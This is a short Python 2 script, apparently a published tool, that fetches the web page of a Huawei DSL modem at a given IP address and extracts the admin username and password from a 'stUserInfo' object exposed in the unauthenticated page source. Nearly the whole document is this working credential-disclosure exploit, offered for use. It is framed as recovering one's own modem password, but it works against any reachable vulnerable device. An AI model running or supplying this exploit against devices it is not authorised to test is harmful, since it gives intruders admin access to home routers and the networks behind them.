Find the admin password of your Huawei DSL modem

huawei-find-password.py

#!/usr/bin/env python

# find-password.py
# Find the admin password of your Huawei DSL modem
#
# Author: 	Bas van Dorst

import optparse
import urllib2
import re

def main():
	parser = optparse.OptionParser('%prog -t <target IP> -s <timeout seconds>')
	parser.add_option('-t',dest='target',type='string',help='IP of the modem')
	parser.add_option('-s',dest='timeout',type='int',help='Connection timeout', default=2)
	
	(options,args) = parser.parse_args()
	if(options.target == None):
		print parser.print_help()
		exit()
		
	result = connect_html(options.target, options.timeout)
	find_password(result)

def connect_html(target, timeout):
	try:
		print '[*] Connecting to host: ' + target
		r = urllib2.urlopen('http://'+target,timeout=timeout)
		return r.read()
	except urllib2.URLError:
		print '[!] Could not connect to host'
		exit() 
	
def find_password(text):
	print '[*] Searching for user accounts'
	
	match = re.search('new stUserInfo\((?P<domain>.*)","(?P<username>.*)","(?P<password>.*)","(?P<level>.*)\w+',text);

	if match:
		print '[+] Username found: ' + match.group('username')
		print '[+] Password found: ' +  match.group('password')  	
	else:
		print '[-] No users/passwords found (modem not vulnerable?)';
	
if __name__ == '__main__':
    main()